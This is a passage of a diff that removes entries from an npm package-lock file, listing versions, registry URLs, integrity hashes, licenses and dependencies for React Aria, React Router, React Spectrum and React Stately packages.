- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/textfield": { - "version": "3.18.5", - "resolved": "https://registry.npmjs.org/@react-aria/textfield/-/textfield-3.18.5.tgz", - "integrity": "sha512-ttwVSuwoV3RPaG2k2QzEXKeQNQ3mbdl/2yy6I4Tjrn1ZNkYHfVyJJ26AjenfSmj1kkTQoSAfZ8p+7rZp4n0xoQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/form": "^3.1.5", - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/utils": "^3.33.1", - "@react-stately/form": "^3.2.4", - "@react-stately/utils": "^3.11.0", - "@react-types/shared": "^3.33.1", - "@react-types/textfield": "^3.12.8", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/toast": { - "version": "3.0.11", - "resolved": "https://registry.npmjs.org/@react-aria/toast/-/toast-3.0.11.tgz", - "integrity": "sha512-2DjZjBAvm8/CWbnZ6s7LjkYCkULKtjMve6GvhPTq98AthuEDLEiBvM1wa3xdecCRhZyRT1g6DXqVca0EfZ9fJA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/landmark": "^3.0.10", - "@react-aria/utils": "^3.33.1", - "@react-stately/toast": "^3.1.3", - "@react-types/button": "^3.15.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/toggle": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/@react-aria/toggle/-/toggle-3.13.1.tgz", - "integrity": "sha512-1SPMBSrbT94Jsy7Wuv9SH2uPv7szGP7KgO4QGIAcF3e5kHwvGQJdMHY6+xR17slk8ICXfFojBqUKgpJjyY2+KQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/toolbar": { - "version": "3.0.0-beta.24", - "resolved": "https://registry.npmjs.org/@react-aria/toolbar/-/toolbar-3.0.0-beta.24.tgz", - "integrity": "sha512-B2Rmpko7Ghi2RbNfsGdbR7I+RQBDhPGVE4bU3/EwHz+P/vNe5LyGPTeSwqaOMsQTF9lKNCkY8424dVTCr6RUMg==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/utils": "^3.33.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/tooltip": { - "version": "3.9.2", - "resolved": "https://registry.npmjs.org/@react-aria/tooltip/-/tooltip-3.9.2.tgz", - "integrity": "sha512-VrgkPwHiEnAnBhoQ4W7kfry/RfVuRWrUPaJSp0+wKM6u0gg2tmn7OFRDXTxBAm/omQUguIdIjRWg7sf3zHH82A==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/utils": "^3.33.1", - "@react-stately/tooltip": "^3.5.11", - "@react-types/shared": "^3.33.1", - "@react-types/tooltip": "^3.5.2", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/utils": { - "version": "3.33.1", - "resolved": "https://registry.npmjs.org/@react-aria/utils/-/utils-3.33.1.tgz", - "integrity": "sha512-kIx1Sj6bbAT0pdqCegHuPanR9zrLn5zMRiM7LN12rgRf55S19ptd9g3ncahArifYTRkfEU9VIn+q0HjfMqS9/w==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/ssr": "^3.9.10", - "@react-stately/flags": "^3.1.2", - "@react-stately/utils": "^3.11.0", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0", - "clsx": "^2.0.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/visually-hidden": { - "version": "3.8.31", - "resolved": "https://registry.npmjs.org/@react-aria/visually-hidden/-/visually-hidden-3.8.31.tgz", - "integrity": "sha512-RTOHHa4n56a9A3criThqFHBifvZoV71+MCkSuNP2cKO662SUWjqKkd0tJt/mBRMEJPkys8K7Eirp6T8Wt5FFRA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/utils": "^3.33.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-router/dev": { - "version": "7.17.0", - "resolved": "https://registry.npmjs.org/@react-router/dev/-/dev-7.17.0.tgz", - "integrity": "sha512-+ITMmv/1xUB+QF6ehCCOIVBNBDuKIEE+3JKCt+kTBvxDTk1s49qHbtCA4TzJYge41pNRGtFIiy5VAksLSVJheg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.27.7", - "@babel/generator": "^7.27.5", - "@babel/parser": "^7.27.7", - "@babel/plugin-syntax-jsx": "^7.27.1", - "@babel/preset-typescript": "^7.27.1", - "@babel/traverse": "^7.27.7", - "@babel/types": "^7.27.7", - "@react-router/node": "7.17.0", - "@remix-run/node-fetch-server": "^0.13.0", - "arg": "^5.0.1", - "babel-dead-code-elimination": "^1.0.6", - "chokidar": "^4.0.0", - "dedent": "^1.5.3", - "es-module-lexer": "^1.3.1", - "exit-hook": "2.2.1", - "isbot": "^5.1.11", - "jsesc": "3.0.2", - "lodash": "^4.17.21", - "p-map": "^7.0.3", - "pathe": "^1.1.2", - "picocolors": "^1.1.1", - "pkg-types": "^2.3.0", - "prettier": "^3.6.2", - "react-refresh": "^0.14.0", - "semver": "^7.3.7", - "tinyglobby": "^0.2.14", - "valibot": "^1.2.0", - "vite-node": "^3.2.2" - }, - "bin": { - "react-router": "bin.js" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@react-router/serve": "^7.17.0", - "@vitejs/plugin-rsc": "~0.5.21", - "react-router": "^7.17.0", - "react-server-dom-webpack": "^19.2.3", - "typescript": "^5.1.0 || ^6.0.0", - "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", - "wrangler": "^3.28.2 || ^4.0.0" - }, - "peerDependenciesMeta": { - "@react-router/serve": { - "optional": true - }, - "@vitejs/plugin-rsc": { - "optional": true - }, - "react-server-dom-webpack": { - "optional": true - }, - "typescript": { - "optional": true - }, - "wrangler": { - "optional": true - } - } - }, - "node_modules/@react-router/express": { - "version": "7.17.0", - "resolved": "https://registry.npmjs.org/@react-router/express/-/express-7.17.0.tgz", - "integrity": "sha512-/onhRWlfCRTq0bI7t06d2KGRUr+Gy12+CHLZDaHkdtkHJxsUFPGlnfomBMQXQLIPW544I5ykKAY8Z2d/1J6+bQ==", - "license": "MIT", - "dependencies": { - "@react-router/node": "7.17.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "express": "^4.17.1 || ^5", - "react-router": "7.17.0", - "typescript": "^5.1.0 || ^6.0.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/@react-router/node": { - "version": "7.17.0", - "resolved": "https://registry.npmjs.org/@react-router/node/-/node-7.17.0.tgz", - "integrity": "sha512-RYR47qM9gJ8zV8Ntial5Rkgcst2YnwWXt0Ai34FezzkDK6AILpxpVatEzFEhNRwbSh6JO6iweY7XhfM4/K5dBA==", - "license": "MIT", - "dependencies": { - "@mjackson/node-fetch-server": "^0.2.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react-router": "7.17.0", - "typescript": "^5.1.0 || ^6.0.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/@react-router/serve": { - "version": "7.17.0", - "resolved": "https://registry.npmjs.org/@react-router/serve/-/serve-7.17.0.tgz", - "integrity": "sha512-cjVz/HiZbkZe4urdImO6V+KFYDIGJk59DJXGnJ5XeDoltRi+buba0K6oTHIh0G0uoYJMm3gKqHKSiCN/a0dhJw==", - "license": "MIT", - "dependencies": { - "@mjackson/node-fetch-server": "^0.2.0", - "@react-router/express": "7.17.0", - "@react-router/node": "7.17.0", - "compression": "^1.8.1", - "express": "^4.19.2", - "get-port": "5.1.1", - "morgan": "^1.10.1", - "source-map-support": "^0.5.21" - }, - "bin": { - "react-router-serve": "bin.js" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react-router": "7.17.0" - } - }, - "node_modules/@react-spectrum/dialog": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/dialog/-/dialog-3.10.1.tgz", - "integrity": "sha512-RMoZkKswUMFiEnAHZljEV1ybpMUjrS5RxkwWb3IFMo+ZtnLIeIT87k4DxoUJKOVrw3bnSsLRSTw1Fvf7jZ/eFw==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-spectrum/listbox": { - "version": "3.16.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/listbox/-/listbox-3.16.1.tgz", - "integrity": "sha512-iQ7eym1zVR3wmOpOnmbKF0A+cbdzUGobZdNC/H9rdiyGkEE0OIrlk3z3APIFHfM/juK/LHXZ+srbF5LU8/sDCg==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-spectrum/provider": { - "version": "3.11.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/provider/-/provider-3.11.1.tgz", - "integrity": "sha512-TsoNdVdmlQ7L+75ILq5Yb3+wp/I1AtIeat0o+Y+ZBxP+TtWpwT1ZtCB5l3cplFVzHzOpZlzO0VaDrDP9ElGYDw==", - "license": "Apache-2.0", - "peer": true, - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-spectrum/slider": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/slider/-/slider-3.9.1.tgz", - "integrity": "sha512-UMBZaaofQsAfH+2SPh2GyxlJjKmRkjVoY1ixybkz8Jh+pOPOFEMugAt3fuLMW22geOC5PXs6AxHYsNb0BwKVnQ==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-spectrum/switch": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/switch/-/switch-3.7.1.tgz", - "integrity": "sha512-71rSqseVrieCWxQpwCBbqY4F6bBo8IK/jM+r8ounN/WIkoMGhZkVigF8tSwd+/p8ym2tmJq6MoWn0he1taBo0Q==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-spectrum/tabs": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/@react-spectrum/tabs/-/tabs-3.9.1.tgz", - "integrity": "sha512-1r/NiHeyjcHP1CZ7a30PSS5NesARSV1z9fuiKO+rianq/Xyy5bUW5cU+pSNTghNhRCUhQACopkktGzmTCTCCXQ==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum": "^3.47.0", - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/calendar": { - "version": "3.9.3", - "resolved": "https://registry.npmjs.org/@react-stately/calendar/-/calendar-3.9.3.tgz", - "integrity": "sha512-uw7fCZXoypSBBUsVkbNvJMQWTihZReRbyLIGG3o/ZM630N3OCZhb/h4Uxke4pNu7n527H0V1bAnZgAldIzOYqg==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@react-stately/utils": "^3.11.0", - "@react-types/calendar": "^3.8.3", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/checkbox": { - "version": "3.7.5", - "resolved": "https://registry.npmjs.org/@react-stately/checkbox/-/checkbox-3.7.5.tgz", - "integrity": "sha512-K5R5ted7AxLB3sDkuVAazUdyRMraFT1imVqij2GuAiOUFvsZvbuocnDuFkBVKojyV3GpqLBvViV8IaCMc4hNIw==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/form": "^3.2.4", - "@react-stately/utils": "^3.11.0", - "@react-types/checkbox": "^3.10.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/collections": { - "version": "3.12.10", - "resolved": "https://registry.npmjs.org/@react-stately/collections/-/collections-3.12.10.tgz", - "integrity": "sha512-wmF9VxJDyBujBuQ76vXj2g/+bnnj8fx5DdXgRmyfkkYhPB46+g2qnjbVGEvipo7bJuGxDftCUC4SN7l7xqUWfg==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/combobox": { - "version": "3.13.0", - "resolved": "https://registry.npmjs.org/@react-stately/combobox/-/combobox-3.13.0.tgz", - "integrity": "sha512-dX9g/cK1hjLRjcbWVF6keHxTQDGhKGB2QAgPhWcBmOK3qJv+2dQqsJ6YCGWn/Y2N2acoEseLrAA7+Qe4HWV9cg==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/collections": "^3.12.10", - "@react-stately/form": "^3.2.4", - "@react-stately/list": "^3.13.4", - "@react-stately/overlays": "^3.6.23", - "@react-stately/utils": "^3.11.0", - "@react-types/combobox": "^3.14.0", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/datepicker": { - "version": "3.16.1", - "resolved": "https://registry.npmjs.org/@react-stately/datepicker/-/datepicker-3.16.1.tgz", - "integrity": "sha512-BtAMDvxd1OZxkxjqq5tN5TYmp6Hm8+o3+IDA4qmem2/pfQfVbOZeWS2WitcPBImj4n4T+W1A5+PI7mT/6DUBVg==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@internationalized/number": "^3.6.5", - "@internationalized/string": "^3.2.7", - "@react-stately/form": "^3.2.4", - "@react-stately/overlays": "^3.6.23", - "@react-stately/utils": "^3.11.0", - "@react-types/datepicker": "^3.13.5", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/flags": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/@react-stately/flags/-/flags-3.2.1.tgz", - "integrity": "sha512-WPw9z4SPYqQMuExCnBNrQyyxCWSi9CDYnVqca19bqxaHZRT/uL5nL+IGCPHHa70Y5rx39E5hYKl8Hf0QJ6XKyA==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/form": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@react-stately/form/-/form-3.2.4.tgz", - "integrity": "sha512-qNBzun8SbLdgahryhKLqL1eqP+MXY6as82sVXYOOvUYLzgU5uuN8mObxYlxJgMI5akSdQJQV3RzyfVobPRE7Kw==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/list": { - "version": "3.13.4", - "resolved": "https://registry.npmjs.org/@react-stately/list/-/list-3.13.4.tgz", - "integrity": "sha512-HHYSjA9VG7FPSAtpXAjQyM/V7qFHWGg88WmMrDt5QDlTBexwPuH0oFLnW0qaVZpAIxuWIsutZfxRAnme/NhhAA==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/collections": "^3.12.10", - "@react-stately/selection": "^3.20.9", - "@react-stately/utils": "^3.11.0", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/menu": { - "version": "3.9.11", - "resolved": "https://registry.npmjs.org/@react-stately/menu/-/menu-3.9.11.tgz", - "integrity": "sha512-vYkpO9uV2OUecsIkrOc+Urdl/s1xw/ibNH/UXsp4PtjMnS6mK9q2kXZTM3WvMAKoh12iveUO+YkYCZQshmFLHQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/overlays": "^3.6.23", - "@react-types/menu": "^3.10.7", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/numberfield": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/@react-stately/numberfield/-/numberfield-3.11.0.tgz", - "integrity": "sha512-rxfC047vL0LP4tanjinfjKAriAvdVL57Um5RUL5nHML8IOWCB3TBxegQkJ6to6goScC/oZhd0/Y2LSaiRuKbNw==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/number": "^3.6.5", - "@react-stately/form": "^3.2.4", - "@react-stately/utils": "^3.11.0", - "@react-types/numberfield": "^3.8.18", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/overlays": { - "version": "3.6.23", - "resolved": "https://registry.npmjs.org/@react-stately/overlays/-/overlays-3.6.23.tgz", - "integrity": "sha512-RzWxots9A6gAzQMP4s8hOAHV7SbJRTFSlQbb6ly1nkWQXacOSZSFNGsKOaS0eIatfNPlNnW4NIkgtGws5UYzfw==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/utils": "^3.11.0", - "@react-types/overlays": "^3.9.4", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/radio": { - "version": "3.11.5", - "resolved": "https://registry.npmjs.org/@react-stately/radio/-/radio-3.11.5.tgz", - "integrity": "sha512-QxA779S4ea5icQ0ja7CeiNzY1cj7c9G9TN0m7maAIGiTSinZl2Ia8naZJ0XcbRRp+LBll7RFEdekne15TjvS/w==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/form": "^3.2.4", - "@react-stately/utils": "^3.11.0", - "@react-types/radio": "^3.9.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/selection": { - "version": "3.21.1", - "resolved": "https://registry.npmjs.org/@react-stately/selection/-/selection-3.21.1.tgz", - "integrity": "sha512-Tq8UfAOG5SCxnTYivyYQH5NRpiuEJG2k20wmJ/s4Db0FnnjYg1xbKe55vu2A9ni/nUTLKUMj7MFaJytMIXPwxg==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/slider": { - "version": "3.7.5", - "resolved": "https://registry.npmjs.org/@react-stately/slider/-/slider-3.7.5.tgz", - "integrity": "sha512-OrQMNR5xamLYH52TXtvTgyw3EMwv+JI+1istQgEj1CHBjC9eZZqn5iNCN20tzm+uDPTH0EIGULFjjPIumqYUQg==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/utils": "^3.11.0", - "@react-types/shared": "^3.33.1", - "@react-types/slider": "^3.8.4", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/table": { - "version": "3.15.4", - "resolved": "https://registry.npmjs.org/@react-stately/table/-/table-3.15.4.tgz", - "integrity": "sha512-fGaNyw3wv7JgRCNzgyDzpaaTFuSy5f4Qekch4UheMXDJX7dOeaMhUXeOfvnXCVg+BGM4ey/D82RvDOGvPy1Nww==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/collections": "^3.12.10", - "@react-stately/flags": "^3.1.2", - "@react-stately/grid": "^3.11.9", - "@react-stately/selection": "^3.20.9", - "@react-stately/utils": "^3.11.0", - "@react-types/grid": "^3.3.8", - "@react-types/shared": "^3.33.1", - "@react-types/table": "^3.13.6", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/table/node_modules/@react-stately/grid": { - "version": "3.12.1", - "resolved": "https://registry.npmjs.org/@react-stately/grid/-/grid-3.12.1.tgz", - "integrity": "sha512-GvOXlPtzoswhyV3bZK3habHdHBGR7qdzOy2WumYiNG7DAj8J+9WvAObrPmquuI2VrZYMSNzgFb3IoL+sQsMI8A==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/tabs": { - "version": "3.8.9", - "resolved": "https://registry.npmjs.org/@react-stately/tabs/-/tabs-3.8.9.tgz", - "integrity": "sha512-AQ4Xrn6YzIolaVShCV9cnwOjBKPAOGP/PTp7wpSEtQbQ0HZzUDG2RG/M4baMeUB2jZ33b7ifXyPcK78o0uOftg==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/list": "^3.13.4", - "@react-types/shared": "^3.33.1", - "@react-types/tabs": "^3.3.22", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/toast": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/@react-stately/toast/-/toast-3.1.3.tgz", - "integrity": "sha512-mT9QJKmD523lqFpOp0VWZ6QHZENFK7HrodnNJDVc7g616s5GNmemdlkITV43fSY3tHeThCVvPu+Uzh7RvQ9mpQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/toggle": { - "version": "3.9.5", - "resolved": "https://registry.npmjs.org/@react-stately/toggle/-/toggle-3.9.5.tgz", - "integrity": "sha512-PVzXc788q3jH98Kvw1LYDL+wpVC14dCEKjOku8cSaqhEof6AJGaLR9yq+EF1yYSL2dxI6z8ghc0OozY8WrcFcA==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/utils": "^3.11.0", - "@react-types/checkbox": "^3.10.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/tooltip": { - "version": "3.5.11", - "resolved": "https://registry.npmjs.org/@react-stately/tooltip/-/tooltip-3.5.11.tgz", - "integrity": "sha512-o8PnFXbvDCuVZ4Ht9ahfS6KHwIZjXopvoQ2vUPxv920irdgWEeC+4omgDOnJ/xFvcpmmJAmSsrQsTQrTguDUQA==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/overlays": "^3.6.23", - "@react-types/tooltip": "^3.5.2", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/tree": { - "version": "3.9.6", - "resolved": "https://registry.npmjs.org/@react-stately/tree/-/tree-3.9.6.tgz", - "integrity": "sha512-JCuhGyX2A+PAMsx2pRSwArfqNFZJ9JSPkDaOQJS8MFPAsBe5HemvXsdmv9aBIMzlbCYcVq6EsrFnzbVVTBt/6w==", - "license": "Apache-2.0", - "dependencies": { - "@react-stately/collections": "^3.12.10", - "@react-stately/selection": "^3.20.9", - "@react-stately/utils": "^3.11.0", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/utils": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/@react-stately/utils/-/utils-3.11.0.tgz", - "integrity": "sha512-8LZpYowJ9eZmmYLpudbo/eclIRnbhWIJZ994ncmlKlouNzKohtM8qTC6B1w1pwUbiwGdUoyzLuQbeaIor5Dvcw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-stately/virtualizer": { - "version": "4.4.6", - "resolved": "https://registry.npmjs.org/@react-stately/virtualizer/-/virtualizer-4.4.6.tgz", - "integrity": "sha512-9SfXgLFB61/8SXNLfg5ARx9jAK4m03Aw6/Cg8mdZN24SYarL4TKNRpfw8K/HHVU/bi6WHSJypk6Z/z19o/ztrg==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - 